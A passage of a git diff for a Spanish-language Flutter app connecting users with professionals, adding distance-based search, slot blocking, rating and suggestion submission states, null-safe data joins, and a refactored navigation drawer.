||||
myUser: usersDir[p.id]!,
|
||||
professionalInfo: p,
|
||||
distanceKm: (event.lat != null && event.lng != null)
|
||||
? _haversineKm(event.lat!, event.lng!, p.latitude, p.longitude)
|
||||
: null,
|
||||
))
|
||||
.toList();
|
||||
|
||||
emit(ProfessionalListSuccess(users: usersMap));
|
||||
}
|
||||
|
||||
double? _haversineKm(double lat1, double lng1, double lat2, double lng2) {
|
||||
if (lat2 == 0.0 && lng2 == 0.0) return null;
|
||||
const r = 6371.0;
|
||||
final dLat = (lat2 - lat1) * math.pi / 180;
|
||||
final dLng = (lng2 - lng1) * math.pi / 180;
|
||||
final a = math.sin(dLat / 2) * math.sin(dLat / 2) +
|
||||
math.cos(lat1 * math.pi / 180) *
|
||||
math.cos(lat2 * math.pi / 180) *
|
||||
math.sin(dLng / 2) *
|
||||
math.sin(dLng / 2);
|
||||
return r * 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a));
|
||||
}
|
||||
}
|
||||
|
||||
class UserProfessional {
|
||||
final MyUser myUser;
|
||||
final ProfessionalEntity professionalInfo;
|
||||
final double? distanceKm;
|
||||
|
||||
UserProfessional({required this.myUser, required this.professionalInfo});
|
||||
UserProfessional({
|
||||
required this.myUser,
|
||||
required this.professionalInfo,
|
||||
this.distanceKm,
|
||||
});
|
||||
|
||||
@override
|
||||
String toString() {
|
||||
|
||||
@@ -8,8 +8,18 @@ abstract class ProfessionalListEvent extends Equatable {
|
||||
}
|
||||
|
||||
class ProfessionalListFetch extends ProfessionalListEvent {
|
||||
const ProfessionalListFetch();
|
||||
final String? search;
|
||||
final String? city;
|
||||
final double? lat;
|
||||
final double? lng;
|
||||
|
||||
const ProfessionalListFetch({this.search, this.city, this.lat, this.lng});
|
||||
|
||||
@override
|
||||
List<Object> get props => [];
|
||||
List<Object> get props => [
|
||||
search ?? '',
|
||||
city ?? '',
|
||||
lat ?? 0,
|
||||
lng ?? 0,
|
||||
];
|
||||
}
|
||||
|
||||
@@ -11,6 +11,9 @@ class ProfessionalListInitial extends ProfessionalListState {}
|
||||
|
||||
class ProfessionalListLoading extends ProfessionalListState {}
|
||||
|
||||
/// The list could not be loaded — distinct from "nobody matched".
|
||||
class ProfessionalListFailure extends ProfessionalListState {}
|
||||
|
||||
class ProfessionalListSuccess extends ProfessionalListState {
|
||||
final List<UserProfessional> users;
|
||||
|
||||
|
||||
@@ -45,6 +45,7 @@ class ProfessionalProfileBloc
|
||||
event.longitude,
|
||||
event.schedules,
|
||||
event.paymentMethods,
|
||||
slotDurationMinutes: event.slotDurationMinutes,
|
||||
);
|
||||
|
||||
emit(const UpdateProfessionalInfoSuccess());
|
||||
|
||||
@@ -28,6 +28,7 @@ class UpdateProfessionalProfileInfo extends ProfessionalProfileEvent {
|
||||
final double longitude;
|
||||
final Schedules schedules;
|
||||
final PaymentMethodEntity paymentMethods;
|
||||
final int slotDurationMinutes;
|
||||
|
||||
const UpdateProfessionalProfileInfo({
|
||||
required this.address,
|
||||
@@ -39,6 +40,7 @@ class UpdateProfessionalProfileInfo extends ProfessionalProfileEvent {
|
||||
required this.longitude,
|
||||
required this.schedules,
|
||||
required this.paymentMethods,
|
||||
this.slotDurationMinutes = 120,
|
||||
});
|
||||
|
||||
@override
|
||||
@@ -51,6 +53,7 @@ class UpdateProfessionalProfileInfo extends ProfessionalProfileEvent {
|
||||
latitude,
|
||||
longitude,
|
||||
schedules,
|
||||
paymentMethods
|
||||
paymentMethods,
|
||||
slotDurationMinutes,
|
||||
];
|
||||
}
|
||||
|
||||
@@ -38,10 +38,13 @@ class ScoreBloc extends Bloc<ScoreEvent, ScoreState> {
|
||||
}
|
||||
|
||||
void _onSendScoreEvent(SendScoreEvent event, Emitter<ScoreState> emit) async {
|
||||
emit(ScoreSending());
|
||||
try {
|
||||
await _scoreRepository.addComment(event.comment);
|
||||
emit(ScoreSent());
|
||||
} catch (e) {
|
||||
log(e.toString());
|
||||
emit(ScoreSendFailure());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -62,7 +65,9 @@ class ScoreBloc extends Bloc<ScoreEvent, ScoreState> {
|
||||
|
||||
final usersDir = {for (var e in users) e.id: e};
|
||||
|
||||
final scoresInfo = scores.map((e) {
|
||||
final scoresInfo = scores
|
||||
.where((e) => usersDir.containsKey(e.authorId))
|
||||
.map((e) {
|
||||
return ScoreInfoUI(
|
||||
score: e,
|
||||
user: usersDir[e.authorId]!,
|
||||
@@ -99,7 +104,9 @@ class ScoreBloc extends Bloc<ScoreEvent, ScoreState> {
|
||||
|
||||
final usersDir = {for (var e in users) e.id: e};
|
||||
|
||||
final scoresInfo = scores.map((e) {
|
||||
final scoresInfo = scores
|
||||
.where((e) => usersDir.containsKey(e.authorId))
|
||||
.map((e) {
|
||||
return ScoreInfoUI(
|
||||
score: e,
|
||||
user: usersDir[e.authorId]!,
|
||||
|
||||
@@ -13,6 +13,15 @@ class ScoreFailure extends ScoreState {}
|
||||
|
||||
class ScoreLoading extends ScoreState {}
|
||||
|
||||
/// Rating submission is in flight.
|
||||
class ScoreSending extends ScoreState {}
|
||||
|
||||
/// Rating stored by the backend.
|
||||
class ScoreSent extends ScoreState {}
|
||||
|
||||
/// Rating could not be stored — it must not be reported as sent.
|
||||
class ScoreSendFailure extends ScoreState {}
|
||||
|
||||
class ScoreSuccess extends ScoreState {
|
||||
final ReputationEntity reputation;
|
||||
const ScoreSuccess(this.reputation);
|
||||
|
||||
@@ -25,6 +25,7 @@ class ServiceBloc extends Bloc<ServiceEvent, ServiceState> {
|
||||
_professionalRepository = professionRepository,
|
||||
super(CreateServiceInitial()) {
|
||||
on<CreateService>(_onCreateService);
|
||||
on<BlockSlot>(_onBlockSlot);
|
||||
on<LoadService>(_onLoadService);
|
||||
on<UpdateServiceStatus>(_onUpdateServiceStatus);
|
||||
on<LoadServicesForUser>(_onLoadServicesForUser);
|
||||
@@ -72,6 +73,17 @@ class ServiceBloc extends Bloc<ServiceEvent, ServiceState> {
|
||||
}
|
||||
}
|
||||
|
||||
void _onBlockSlot(BlockSlot event, Emitter<ServiceState> emit) async {
|
||||
try {
|
||||
emit(CreateServiceLoading());
|
||||
final serviceId = await _serviceRepository.blockSlot(event.day, event.hour1);
|
||||
emit(CreateServiceSuccess(serviceId));
|
||||
} catch (e) {
|
||||
log(e.toString());
|
||||
emit(CreateServiceFailure());
|
||||
}
|
||||
}
|
||||
|
||||
void _onLoadService(LoadService event, Emitter<ServiceState> emit) async {
|
||||
try {
|
||||
final serviceStream = _serviceRepository.getService(event.serviceId);
|
||||
@@ -108,7 +120,11 @@ class ServiceBloc extends Bloc<ServiceEvent, ServiceState> {
|
||||
|
||||
final professionsDir = {for (var e in professionsList) e.id: e};
|
||||
|
||||
final servicesInfo = services.map((e) {
|
||||
final servicesInfo = services
|
||||
.where((e) =>
|
||||
usersDir.containsKey(e.professionalId) &&
|
||||
professionsDir.containsKey(e.professionalId))
|
||||
.map((e) {
|
||||
return ServiceInfoUI(
|
||||
service: e,
|
||||
user: usersDir[e.professionalId]!,
|
||||
@@ -141,7 +157,9 @@ class ServiceBloc extends Bloc<ServiceEvent, ServiceState> {
|
||||
|
||||
final usersDir = {for (var e in users) e.id: e};
|
||||
|
||||
final servicesInfo = services.map((e) {
|
||||
final servicesInfo = services
|
||||
.where((e) => usersDir.containsKey(e.userId))
|
||||
.map((e) {
|
||||
return ServiceInfoUI(
|
||||
service: e,
|
||||
user: usersDir[e.userId]!,
|
||||
@@ -180,7 +198,11 @@ class ServiceBloc extends Bloc<ServiceEvent, ServiceState> {
|
||||
|
||||
final professionsDir = {for (var e in professionsList) e.id: e};
|
||||
|
||||
final servicesInfo = services.map((e) {
|
||||
final servicesInfo = services
|
||||
.where((e) =>
|
||||
usersDir.containsKey(e.professionalId) &&
|
||||
professionsDir.containsKey(e.professionalId))
|
||||
.map((e) {
|
||||
return ServiceInfoUI(
|
||||
service: e,
|
||||
user: usersDir[e.professionalId]!,
|
||||
@@ -213,7 +235,9 @@ class ServiceBloc extends Bloc<ServiceEvent, ServiceState> {
|
||||
|
||||
final usersDir = {for (var e in users) e.id: e};
|
||||
|
||||
final servicesInfo = services.map((e) {
|
||||
final servicesInfo = services
|
||||
.where((e) => usersDir.containsKey(e.userId))
|
||||
.map((e) {
|
||||
return ServiceInfoUI(
|
||||
service: e,
|
||||
user: usersDir[e.userId]!,
|
||||
@@ -246,7 +270,9 @@ class ServiceBloc extends Bloc<ServiceEvent, ServiceState> {
|
||||
|
||||
final usersDir = {for (var e in users) e.id: e};
|
||||
|
||||
final servicesInfo = services.map((e) {
|
||||
final servicesInfo = services
|
||||
.where((e) => usersDir.containsKey(e.userId))
|
||||
.map((e) {
|
||||
return ServiceInfoUI(
|
||||
service: e,
|
||||
user: usersDir[e.userId]!,
|
||||
|
||||
@@ -26,6 +26,16 @@ class UpdateServiceStatus extends ServiceEvent {
|
||||
List<Object> get props => [serviceId, newStatus];
|
||||
}
|
||||
|
||||
class BlockSlot extends ServiceEvent {
|
||||
final String day;
|
||||
final TimeOfDay hour1;
|
||||
|
||||
const BlockSlot({required this.day, required this.hour1});
|
||||
|
||||
@override
|
||||
List<Object> get props => [day, hour1];
|
||||
}
|
||||
|
||||
class LoadServicesForUser extends ServiceEvent {
|
||||
final String userId;
|
||||
|
||||
|
||||
@@ -22,7 +22,8 @@ class SignUpBloc extends Bloc<SignUpEvent, SignUpState> {
|
||||
await _userRepository.setUserData(user);
|
||||
emit(SignUpSuccess());
|
||||
} catch (e) {
|
||||
emit(SignUpFailure());
|
||||
final msg = e.toString().replaceFirst('Exception: ', '');
|
||||
emit(SignUpFailure(message: msg));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -11,6 +11,12 @@ class SignUpInitial extends SignUpState {}
|
||||
|
||||
class SignUpSuccess extends SignUpState {}
|
||||
|
||||
class SignUpFailure extends SignUpState {}
|
||||
class SignUpFailure extends SignUpState {
|
||||
final String message;
|
||||
const SignUpFailure({this.message = 'Error al registrarse. Intenta de nuevo.'});
|
||||
|
||||
@override
|
||||
List<Object> get props => [message];
|
||||
}
|
||||
|
||||
class SignUpProcess extends SignUpState {}
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
import 'dart:developer';
|
||||
|
||||
import 'package:equatable/equatable.dart';
|
||||
import 'package:flutter_bloc/flutter_bloc.dart';
|
||||
import 'package:suggestion_repository/suggestion_repository.dart';
|
||||
|
||||
part 'suggestion_event.dart';
|
||||
part 'suggestion_state.dart';
|
||||
|
||||
class SuggestionBloc extends Bloc<SuggestionEvent, SuggestionState> {
|
||||
final ApiSuggestionRepository _suggestionRepository;
|
||||
|
||||
SuggestionBloc({required ApiSuggestionRepository suggestionRepository})
|
||||
: _suggestionRepository = suggestionRepository,
|
||||
super(SuggestionInitial()) {
|
||||
on<SubmitSuggestion>(_onSubmitSuggestion);
|
||||
}
|
||||
|
||||
void _onSubmitSuggestion(
|
||||
SubmitSuggestion event, Emitter<SuggestionState> emit) async {
|
||||
emit(SuggestionLoading());
|
||||
try {
|
||||
await _suggestionRepository.createSuggestion(event.message);
|
||||
emit(SuggestionSuccess());
|
||||
} catch (e) {
|
||||
log(e.toString());
|
||||
emit(SuggestionFailure(message: e.toString()));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
part of 'suggestion_bloc.dart';
|
||||
|
||||
abstract class SuggestionEvent extends Equatable {
|
||||
const SuggestionEvent();
|
||||
|
||||
@override
|
||||
List<Object> get props => [];
|
||||
}
|
||||
|
||||
class SubmitSuggestion extends SuggestionEvent {
|
||||
final String message;
|
||||
|
||||
const SubmitSuggestion({required this.message});
|
||||
|
||||
@override
|
||||
List<Object> get props => [message];
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
part of 'suggestion_bloc.dart';
|
||||
|
||||
abstract class SuggestionState extends Equatable {
|
||||
const SuggestionState();
|
||||
|
||||
@override
|
||||
List<Object?> get props => [];
|
||||
}
|
||||
|
||||
class SuggestionInitial extends SuggestionState {}
|
||||
|
||||
class SuggestionLoading extends SuggestionState {}
|
||||
|
||||
class SuggestionSuccess extends SuggestionState {}
|
||||
|
||||
class SuggestionFailure extends SuggestionState {
|
||||
final String? message;
|
||||
|
||||
const SuggestionFailure({this.message});
|
||||
|
||||
@override
|
||||
List<Object?> get props => [message];
|
||||
}
|
||||
+279
-251
@@ -12,7 +12,6 @@ import 'package:prosappco/components/general_drawer_header.dart';
|
||||
import 'package:prosappco/components/general_drawer_item.dart';
|
||||
import 'package:prosappco/screens/configuration/configuration_screen.dart';
|
||||
import 'package:prosappco/screens/configuration/configuration_support_screen.dart';
|
||||
import 'package:prosappco/screens/lists/dropwdon.dart';
|
||||
import 'package:prosappco/screens/lists/professional_score_list_screen.dart';
|
||||
import 'package:prosappco/screens/lists/professional_service_history_list_screen.dart';
|
||||
import 'package:prosappco/screens/lists/professional_service_list_screen.dart';
|
||||
@@ -25,23 +24,22 @@ import 'package:prosappco/screens/professional/professional_form_screen.dart';
|
||||
import 'package:prosappco/screens/professional/professional_pending_screen.dart';
|
||||
import 'package:prosappco/screens/professional/professional_profile_screen.dart';
|
||||
import 'package:prosappco/screens/profile/profile_screen.dart';
|
||||
import 'package:prosappco/screens/web/web_view_screen.dart';
|
||||
import 'package:prosappco/screens/suggestions/suggestion_screen.dart';
|
||||
import 'package:service_repository/service_repository.dart';
|
||||
import 'package:url_launcher/url_launcher.dart';
|
||||
import 'package:user_repository/user_repository.dart';
|
||||
|
||||
const _kPro = Color(0xFF0D9488);
|
||||
const _kUser = Color(0xFF1565C0);
|
||||
|
||||
class GeneralDrawer extends StatelessWidget {
|
||||
const GeneralDrawer({super.key});
|
||||
|
||||
Future<void> _irSugerencias() async {
|
||||
const url = 'https://admin.prosapp.co/sugerencias';
|
||||
|
||||
final Uri _url = Uri.parse(url);
|
||||
|
||||
if (await canLaunchUrl(_url)) {
|
||||
await launchUrl(_url);
|
||||
} else {
|
||||
throw 'No se pudo abrir la URL $url';
|
||||
final Uri uri = Uri.parse(url);
|
||||
if (await canLaunchUrl(uri)) {
|
||||
await launchUrl(uri);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -53,8 +51,9 @@ class GeneralDrawer extends StatelessWidget {
|
||||
builder: (context, userState) {
|
||||
return BlocBuilder<ProfessionalBloc, ProfessionalState>(
|
||||
builder: (context, professionalState) {
|
||||
final isProMode = _isProModeActive(professionalState);
|
||||
return Drawer(
|
||||
backgroundColor: Theme.of(context).colorScheme.secondary,
|
||||
backgroundColor: Theme.of(context).colorScheme.surface,
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.stretch,
|
||||
children: [
|
||||
@@ -71,111 +70,100 @@ class GeneralDrawer extends StatelessWidget {
|
||||
child: SingleChildScrollView(
|
||||
child: Column(
|
||||
children: [
|
||||
shouldProModeActive(context, professionalState)
|
||||
? GeneralDrawerItem(
|
||||
if (isProMode)
|
||||
GeneralDrawerItem(
|
||||
leading: Icons.person_outline_rounded,
|
||||
label: 'Perfil profesional',
|
||||
onTap: () {
|
||||
Navigator.push(
|
||||
onTap: () => Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) =>
|
||||
builder: (_) =>
|
||||
const ProfessionalProfileScreen(),
|
||||
),
|
||||
);
|
||||
},
|
||||
)
|
||||
: const SizedBox(),
|
||||
),
|
||||
),
|
||||
GeneralDrawerItem(
|
||||
leading: Icons.checklist_outlined,
|
||||
label: 'Mis servicios',
|
||||
onTap: () {
|
||||
shouldProModeActive(context, professionalState)
|
||||
onTap: () => isProMode
|
||||
? Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) =>
|
||||
const ProfessionalServiceListScreen(),
|
||||
// const UserServicesScreen(),
|
||||
),
|
||||
builder: (_) =>
|
||||
const ProfessionalServiceListScreen()),
|
||||
)
|
||||
: Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) =>
|
||||
const UserServiceListScreen(),
|
||||
// const UserServicesScreen(),
|
||||
builder: (_) =>
|
||||
const UserServiceListScreen()),
|
||||
),
|
||||
);
|
||||
},
|
||||
),
|
||||
GeneralDrawerItem(
|
||||
leading: Icons.access_time_outlined,
|
||||
label: 'Historial',
|
||||
onTap: () {
|
||||
shouldProModeActive(context, professionalState)
|
||||
onTap: () => isProMode
|
||||
? Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) =>
|
||||
const ProfessionalServiceHistoryListScreen(),
|
||||
),
|
||||
builder: (_) =>
|
||||
const ProfessionalServiceHistoryListScreen()),
|
||||
)
|
||||
: Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) =>
|
||||
const UserServiceHistoryListScreen(),
|
||||
builder: (_) =>
|
||||
const UserServiceHistoryListScreen()),
|
||||
),
|
||||
);
|
||||
},
|
||||
),
|
||||
shouldProModeActive(context, professionalState)
|
||||
? GeneralDrawerItem(
|
||||
if (isProMode)
|
||||
GeneralDrawerItem(
|
||||
leading: Icons.calendar_month_outlined,
|
||||
label: 'Calendario',
|
||||
onTap: () {
|
||||
if (professionalState
|
||||
is LoadedModeProState) {
|
||||
is LoadedModeProState &&
|
||||
professionalState.proInfo != null) {
|
||||
Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) =>
|
||||
builder: (_) =>
|
||||
ProfessionalCalendarScreen(
|
||||
userProfessional:
|
||||
professionalState.proInfo!,
|
||||
),
|
||||
),
|
||||
);
|
||||
} else {
|
||||
ScaffoldMessenger.of(context)
|
||||
.clearSnackBars();
|
||||
ScaffoldMessenger.of(context)
|
||||
.showSnackBar(const SnackBar(
|
||||
content: Text(
|
||||
'Cargando tu información de profesional, intenta de nuevo en un momento'),
|
||||
));
|
||||
}
|
||||
},
|
||||
label: 'Calendario',
|
||||
leading: Icons.calendar_month_outlined,
|
||||
)
|
||||
: const SizedBox(),
|
||||
),
|
||||
GeneralDrawerItem(
|
||||
leading: Icons.settings_outlined,
|
||||
label: 'Configuración',
|
||||
onTap: () {
|
||||
Navigator.push(
|
||||
onTap: () => Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) =>
|
||||
const ConfigurationScreen(),
|
||||
builder: (_) =>
|
||||
const ConfigurationScreen()),
|
||||
),
|
||||
);
|
||||
},
|
||||
),
|
||||
GeneralDrawerItem(
|
||||
leading: Icons.help_outline,
|
||||
label: 'Soporte',
|
||||
onTap: () {
|
||||
Navigator.push(
|
||||
onTap: () => Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) =>
|
||||
const ConfigurationSupportScreen(),
|
||||
builder: (_) =>
|
||||
const ConfigurationSupportScreen()),
|
||||
),
|
||||
);
|
||||
},
|
||||
),
|
||||
GeneralDrawerItem(
|
||||
leading: Icons.campaign_outlined,
|
||||
@@ -187,137 +175,45 @@ class GeneralDrawer extends StatelessWidget {
|
||||
Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (BuildContext context) {
|
||||
return WebViewScreen(
|
||||
label: 'Sugerencias',
|
||||
link:
|
||||
'https://admin.prosapp.co/sugerencias');
|
||||
},
|
||||
builder: (_) => const SuggestionScreen(),
|
||||
),
|
||||
);
|
||||
}
|
||||
},
|
||||
),
|
||||
Container(
|
||||
color: const Color(0xFF2BA4EC),
|
||||
child: ListTile(
|
||||
onTap: () {
|
||||
Navigator.pop(context);
|
||||
},
|
||||
trailing: shouldProModeActive(context, professionalState)
|
||||
? FutureBuilder(builder: (context, AsyncSnapshot<int> snapshot) {
|
||||
if (!snapshot.hasData || snapshot.data! < 1) {
|
||||
return const SizedBox();
|
||||
}
|
||||
final int notificationCount = snapshot.data!;
|
||||
return Container(
|
||||
padding: const EdgeInsets.symmetric(
|
||||
horizontal: 8,
|
||||
vertical: 2,
|
||||
),
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.red,
|
||||
borderRadius: BorderRadius.circular(12),
|
||||
),
|
||||
child: Text(
|
||||
notificationCount > 9
|
||||
? '+9'
|
||||
: notificationCount.toString(),
|
||||
style: const TextStyle(
|
||||
color: Colors.white,
|
||||
fontSize: 14,
|
||||
fontWeight: FontWeight.w500,
|
||||
),
|
||||
),
|
||||
);
|
||||
},
|
||||
future: Injector.appInstance
|
||||
.get<ApiServiceRepository>()
|
||||
.countPendingServicesForProfessional(
|
||||
ApiUserRepository.currentUserId ?? ''),
|
||||
)
|
||||
: const Icon(
|
||||
Icons.keyboard_arrow_right,
|
||||
color: Colors.white,
|
||||
size: 25,
|
||||
),
|
||||
title: Text(
|
||||
shouldProModeActive(context, professionalState)
|
||||
? 'Solicitudes'
|
||||
: 'Solicitar servicio',
|
||||
style: const TextStyle(
|
||||
fontSize: 16,
|
||||
color: Colors.white,
|
||||
fontWeight: FontWeight.bold,
|
||||
),
|
||||
),
|
||||
),
|
||||
// CTA item — go to main action
|
||||
_CtaItem(
|
||||
isProMode: isProMode,
|
||||
professionalState: professionalState,
|
||||
),
|
||||
// Rating row
|
||||
DrawerReputation(builder: (reputation) {
|
||||
final isProModeActive =
|
||||
(professionalState is LoadedModeProState) &&
|
||||
professionalState.isProModeActive;
|
||||
|
||||
final total = isProModeActive
|
||||
final total = isProMode
|
||||
? reputation.totalPro
|
||||
: reputation.total;
|
||||
|
||||
final average = isProModeActive
|
||||
final average = isProMode
|
||||
? reputation.averagePro
|
||||
: reputation.average;
|
||||
|
||||
return ListTile(
|
||||
onTap: () {
|
||||
final isProModeActive = (professionalState is LoadedModeProState) && professionalState.isProModeActive;
|
||||
isProModeActive ? Navigator.push(context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) {
|
||||
return const ProfessionalScoreListScreen();
|
||||
}))
|
||||
: Navigator.push(context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) {
|
||||
return const UserScoreListScreen();
|
||||
}));
|
||||
},
|
||||
trailing: const Icon(Icons.keyboard_arrow_right,
|
||||
color: Colors.black),
|
||||
title: Row(
|
||||
children: [
|
||||
RatingBar.builder(
|
||||
initialRating: calculoRating(average),
|
||||
minRating: 1,
|
||||
direction: Axis.horizontal,
|
||||
allowHalfRating: true,
|
||||
itemCount: 5,
|
||||
itemSize: 25,
|
||||
maxRating: 5,
|
||||
itemBuilder: (context, _) => const Icon(
|
||||
Icons.star,
|
||||
color: Color(0xFF2BA4EC),
|
||||
),
|
||||
onRatingUpdate: (rating) {},
|
||||
ignoreGestures: true,
|
||||
),
|
||||
const SizedBox(width: 5),
|
||||
Text(
|
||||
'${average.toStringAsFixed(1)} (${total.toString()})',
|
||||
),
|
||||
],
|
||||
),
|
||||
return _RatingRow(
|
||||
average: average,
|
||||
total: total,
|
||||
isProMode: isProMode,
|
||||
professionalState: professionalState,
|
||||
);
|
||||
}),
|
||||
const Divider(
|
||||
height: 1,
|
||||
thickness: 0.5,
|
||||
),
|
||||
const Divider(height: 1, thickness: 0.5),
|
||||
Padding(
|
||||
padding: const EdgeInsets.only(top: 10),
|
||||
padding: const EdgeInsets.only(top: 10, bottom: 4),
|
||||
child: Text(
|
||||
'Prosapp ® todos los derechos reservados',
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(
|
||||
fontSize: 10,
|
||||
color: Colors.grey[700],
|
||||
color: Theme.of(context)
|
||||
.colorScheme
|
||||
.onSurface
|
||||
.withOpacity(0.4),
|
||||
),
|
||||
),
|
||||
),
|
||||
@@ -336,7 +232,11 @@ class GeneralDrawer extends StatelessWidget {
|
||||
const SizedBox(height: 15),
|
||||
Padding(
|
||||
padding: const EdgeInsets.symmetric(horizontal: 20),
|
||||
child: buttonOfState(context, professionalState),
|
||||
child: _ModeButton(
|
||||
professionalState: professionalState,
|
||||
userState: userState,
|
||||
isProMode: isProMode,
|
||||
),
|
||||
),
|
||||
const SizedBox(height: 15),
|
||||
],
|
||||
@@ -349,145 +249,273 @@ class GeneralDrawer extends StatelessWidget {
|
||||
);
|
||||
}
|
||||
|
||||
double calculoRating(double average) {
|
||||
String numeroString = average.toString();
|
||||
List<String> partes = numeroString.split('.');
|
||||
int parteEntera = int.parse(partes[0]);
|
||||
int parteFraccionaria = partes.length > 1 ? int.parse(partes[1]) : 0;
|
||||
|
||||
if (parteFraccionaria >= 3) {
|
||||
parteFraccionaria = 5;
|
||||
} else {
|
||||
parteFraccionaria = 0;
|
||||
bool _isProModeActive(ProfessionalState state) =>
|
||||
(state is LoadedModeProState) ? state.isProModeActive : false;
|
||||
}
|
||||
|
||||
// Unir la parte entera y fraccionaria y convertirlo nuevamente a double
|
||||
double resultado = double.parse('$parteEntera.$parteFraccionaria');
|
||||
return resultado;
|
||||
// CTA tile navigating to solicitudes / solicitar servicio
|
||||
class _CtaItem extends StatelessWidget {
|
||||
final bool isProMode;
|
||||
final ProfessionalState professionalState;
|
||||
_CtaItem(
|
||||
{required this.isProMode, required this.professionalState});
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return Container(
|
||||
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 8),
|
||||
decoration: BoxDecoration(
|
||||
color: isProMode
|
||||
? _kPro.withOpacity(0.1)
|
||||
: _kUser.withOpacity(0.1),
|
||||
borderRadius: BorderRadius.circular(12),
|
||||
border: Border.all(
|
||||
color: isProMode
|
||||
? _kPro.withOpacity(0.25)
|
||||
: _kUser.withOpacity(0.25)),
|
||||
),
|
||||
child: ListTile(
|
||||
onTap: () => Navigator.pop(context),
|
||||
leading: Icon(
|
||||
isProMode ? Icons.inbox_outlined : Icons.search_rounded,
|
||||
color: isProMode ? _kPro : _kUser,
|
||||
),
|
||||
title: Text(
|
||||
isProMode ? 'Solicitudes' : 'Solicitar servicio',
|
||||
style: TextStyle(
|
||||
fontSize: 15,
|
||||
fontWeight: FontWeight.w600,
|
||||
color: isProMode ? _kPro : _kUser,
|
||||
),
|
||||
),
|
||||
trailing: isProMode
|
||||
? FutureBuilder<int>(
|
||||
future: Injector.appInstance
|
||||
.get<ApiServiceRepository>()
|
||||
.countPendingServicesForProfessional(
|
||||
ApiUserRepository.currentUserId ?? ''),
|
||||
builder: (context, snapshot) {
|
||||
if (!snapshot.hasData || snapshot.data! < 1) {
|
||||
return Icon(Icons.keyboard_arrow_right,
|
||||
color: _kPro.withOpacity(0.5));
|
||||
}
|
||||
return Container(
|
||||
padding: const EdgeInsets.symmetric(
|
||||
horizontal: 8, vertical: 2),
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.red,
|
||||
borderRadius: BorderRadius.circular(12),
|
||||
),
|
||||
child: Text(
|
||||
snapshot.data! > 9
|
||||
? '+9'
|
||||
: snapshot.data!.toString(),
|
||||
style: const TextStyle(
|
||||
color: Colors.white,
|
||||
fontSize: 12,
|
||||
fontWeight: FontWeight.w600),
|
||||
),
|
||||
);
|
||||
},
|
||||
)
|
||||
: Icon(Icons.keyboard_arrow_right,
|
||||
color: _kUser.withOpacity(0.5)),
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
buttonOfState(BuildContext context, ProfessionalState state) {
|
||||
class _RatingRow extends StatelessWidget {
|
||||
final double average;
|
||||
final int total;
|
||||
final bool isProMode;
|
||||
final ProfessionalState professionalState;
|
||||
_RatingRow(
|
||||
{required this.average,
|
||||
required this.total,
|
||||
required this.isProMode,
|
||||
required this.professionalState});
|
||||
|
||||
double _calcRating(double avg) {
|
||||
final parts = avg.toString().split('.');
|
||||
final frac = parts.length > 1 ? int.parse(parts[1]) : 0;
|
||||
return double.parse(
|
||||
'${parts[0]}.${frac >= 3 ? 5 : 0}');
|
||||
}
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return ListTile(
|
||||
onTap: () {
|
||||
isProMode
|
||||
? Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (_) => const ProfessionalScoreListScreen()))
|
||||
: Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (_) => const UserScoreListScreen()));
|
||||
},
|
||||
leading: Icon(Icons.star_outline_rounded,
|
||||
color: Theme.of(context).colorScheme.onSurface.withOpacity(0.6)),
|
||||
trailing: Icon(Icons.keyboard_arrow_right,
|
||||
color: Theme.of(context).colorScheme.onSurface.withOpacity(0.4)),
|
||||
title: Row(
|
||||
children: [
|
||||
RatingBar.builder(
|
||||
initialRating: _calcRating(average),
|
||||
minRating: 1,
|
||||
direction: Axis.horizontal,
|
||||
allowHalfRating: true,
|
||||
itemCount: 5,
|
||||
itemSize: 20,
|
||||
maxRating: 5,
|
||||
itemBuilder: (_, __) => const Icon(Icons.star,
|
||||
color: Color(0xFF1565C0)),
|
||||
onRatingUpdate: (_) {},
|
||||
ignoreGestures: true,
|
||||
),
|
||||
const SizedBox(width: 6),
|
||||
Text(
|
||||
'${average.toStringAsFixed(1)} ($total)',
|
||||
style: TextStyle(
|
||||
fontSize: 13,
|
||||
color: Theme.of(context)
|
||||
.colorScheme
|
||||
.onSurface
|
||||
.withOpacity(0.7)),
|
||||
),
|
||||
],
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class _ModeButton extends StatelessWidget {
|
||||
final ProfessionalState professionalState;
|
||||
final MyUserState userState;
|
||||
final bool isProMode;
|
||||
|
||||
_ModeButton({
|
||||
required this.professionalState,
|
||||
required this.userState,
|
||||
required this.isProMode,
|
||||
});
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return Stack(
|
||||
children: [
|
||||
SizedBox(
|
||||
width: MediaQuery.of(context).size.width * 0.7,
|
||||
child: ElevatedButton(
|
||||
width: double.infinity,
|
||||
